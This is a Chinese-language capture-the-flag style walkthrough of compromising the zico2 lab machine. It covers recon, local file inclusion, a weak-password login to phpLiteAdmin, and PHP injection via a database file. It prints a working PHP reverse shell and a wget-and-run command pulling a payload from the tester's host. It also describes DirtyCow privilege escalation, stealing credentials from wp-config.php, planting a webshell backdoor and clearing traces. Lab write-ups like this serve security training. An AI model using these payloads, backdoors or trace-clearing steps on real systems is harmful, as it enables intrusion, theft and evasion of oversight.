zico2靶机渗透
1、准备
1.1、网络配置
网络设置为NAT模式

1.2、设备信息
靶机:
Ubuntu IP未知
测试机:
Debian IP:192.168.4.128
Windows10 IP: 192.168.1.5
2、信息收集
2.1、主机探测
查看测试机IP

使用nmap扫描在同一网段下的主机

扫描到了除了测试机以外的三台设备。
2.2、端口扫描
由于该网段下的主机数不多,可以直接使用nmap探测该网段下的所有主机开放的端口 
发现192.168.4.129这台主机开放了22、80、111端口,所以目标确定。
查看靶机详细信息。

Apache版本为2.2.22
nmap 192.168.4.129 -sV -T4 -O
-sV: 指定让Nmap进行版本侦测
-T4指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;
-O 探测操作系统信息

内核版本为2.6.32。
2.3、端口访问
访问192.168.4.129这台设备的80端口 
发现一个网站!
2.4、目录扫描
使用dirsearch扫描网站目录结构

3、漏洞分析与检测
3.1、文件包含漏洞分析与检测
在view.php文件中参数page后面是文件名 
猜测这里可能存在文件包含漏洞,验证一下

访问/etc/passwd没有回显内容,可能当前目录没有在根目录下 
在根目录下访问到/etc/passwd文件,说明存在文件包含漏洞。
文件包含漏洞产生的原因分析:
后端代码
view.php

文件包含漏洞产生的原因:后端对用户输入的数据没有进行任何的过滤。
在目录扫描结果中发现dbadmin目录,猜测可能是后端管理员数据库,访问该目录

发现test_db.php文件,访问该文件。
3.2、弱口令漏洞分析与检测

发现一个登录从窗口,随意输入弱口令admin就登录进来了。


在info表中发现用户名和经过md5加密的密码,对密码解密。
用户名:root 密码:34kroot34
用户名:zico 密码:zico2215@
猜测可能是ssh用户名和密码,尝试连接

连接失败!
3.3、数据库远程代码注入漏洞检测
查看数据库的版本可以查找数据库可能存在的漏洞

该数据库版本为1.9.3,在测试机自带漏洞库中查询该版本的数据库可能存在的漏洞 
存在远程PHP代码注入漏洞!
点击’?’ 
发现提示信息!

所以创建一个以.php为扩展名的数据库时实际上创建了一个php文件。
创建一个hack.php的数据库 
在hack.php数据库下创建一个表,表名为shell

将<?php phpinfo(); ?>设置为shell表默认值


创建成功!
利用文件包含漏洞访问hack.php文件路径为…/…/usr/databases/hack.php

代码执行成功!
4、漏洞利用
4.1、构造反弹shell
创建一个attack数据库

在attack数据库中创建一个exp表

在测试机中写入exp.txt文件
<?php $exp=fsockopen("192.168.4.128",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
补充几个点:
**函数说明:**fsockopen — 打开一个网络连接或者一个Unix套接字连接
返回值:
fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如: fgets() , fgetss() , fwrite() , fclose() 还有 feof() )。如果调用失败,将返回 FALSE 。

启动Apach服务

利用数据库上传脚本并执行
<?php system("wget 192.168.4.128/exp.txt -O /tmp/exp.php; php /tmp/exp.php");?>
wget -O save_name url 使用一个大写O做参数表示另存为
php /tmp/exp.php 执行exp.php


4.2、端口监听
在测试机上开启端口监听,监听1234端口,同时用浏览器访问attack


补充几个点
之所以能够执行exp文件里面的代码,是因为文件包含漏洞中include()函数会读取包含的文件的内容,如果文件中有php标识<?php就会将文件内容当作php代码执行。

反弹shell成功!
将shell转换为交互式的tty
python -c 'import pty;pty.spawn("/bin/bash")'
pty模块是一个虚拟终端库。也可以虚拟出一个串口。
spawn指pty模块的生成一个进程,并将其控制终端连接至当前进程标准IO
spawn和popen的区别
- 这两个从 Python 级别上面就不同, spawn 只是一个函数,Popen是一个类;
- spawn 是通过 fork 方式实现,然后子进程执行具体的命令,然后父进程去获取终端的输出,强调获取数据而已, 而 subprocess 提供更多进程信息的管理,比如说执行命令的状态码,子进程通信和回收等;
- spawn 和 操作系统的 popen系统调用,反而就是有点类似了。

(注:这里也可以在数据库写入一句话木马,用蚁剑链接)

5、提权
5.1、DIRTYCOW提权
查看靶机系统版本 
由于靶机内核版本为2.6.32,可使用DIRTYCOW提权。
DIRTYCOW漏洞简介
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复
原理:Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。
将exp文件下载到测试机上

移到Debian测试机上的/var/www/html/目录下

将exp文件下载到靶机

编译dirty.c

补充几个点:
一般情况下,我们在链接一个(文件名为libxxx.so或libxxx.a等的)库时,会使用-lxxx的方式;在Linux中要用到多线程时,需要链接pthread库。

Linux系统下的多线程遵循POSIX线程接口,称为pthread。编写Linux下的多线程程序,需要使用头文件pthread.h,连接时需要使用库libpthread.a。顺便说一下,Linux下pthread的实现是通过系统调用clone()来实现的。clone()是Linux所特有的系统调用,它的使用方式类似fork。
参数-lcrypt
编译后在最后的链接阶段需要链接crypt的静态库文件(libcrypt.a)

执行exp2 
获取登录用户名和密码!
查看权限


root用户已经被替换成firefart,提权成功!
5.2、WordPress目录发现
在zizo的目录下发现了WordPress目录 
在WordPress目录中包含一些特殊的配置文件

发现wp-config.php文件
wp-config.php 文件是WordPress数据库的关键。数据库名、用户名、密码、位置都是在此设置。
查看wp-config.php文件

发现用户名和密码。
5.3、SSH远程登录
用ssh连接试试

成功登录!
5.4、留下后门
在根目录下发现flag.txt文件

在www目录下写入一句话木马

5.5、痕迹清除
恢复password文件
mv /tmp/passwd.bak /etc/passwd
head -1 /etc/passwd head -K(K指代行数,即输出前几位的结果)

5.6获取webshell权限
用中国蚁剑连接后门


6、总结
1.浏览网页时,发现?page=、?file=、?home=,后面参数值是文件名,可能存在文件包含漏洞
2.在获取到一个登录界面时,常规做法:弱口令尝试、暴力破解(字典要足够强大)、注入漏洞。
3.尝试根据数据库版本信息查找可能存在的版本漏洞
4.wp-config.php文件也存在许多重要配置信息
5.不能直接下载php文件时,可以将文件后缀名改为txt,用wget的-O参数转存为php,然后执行。
|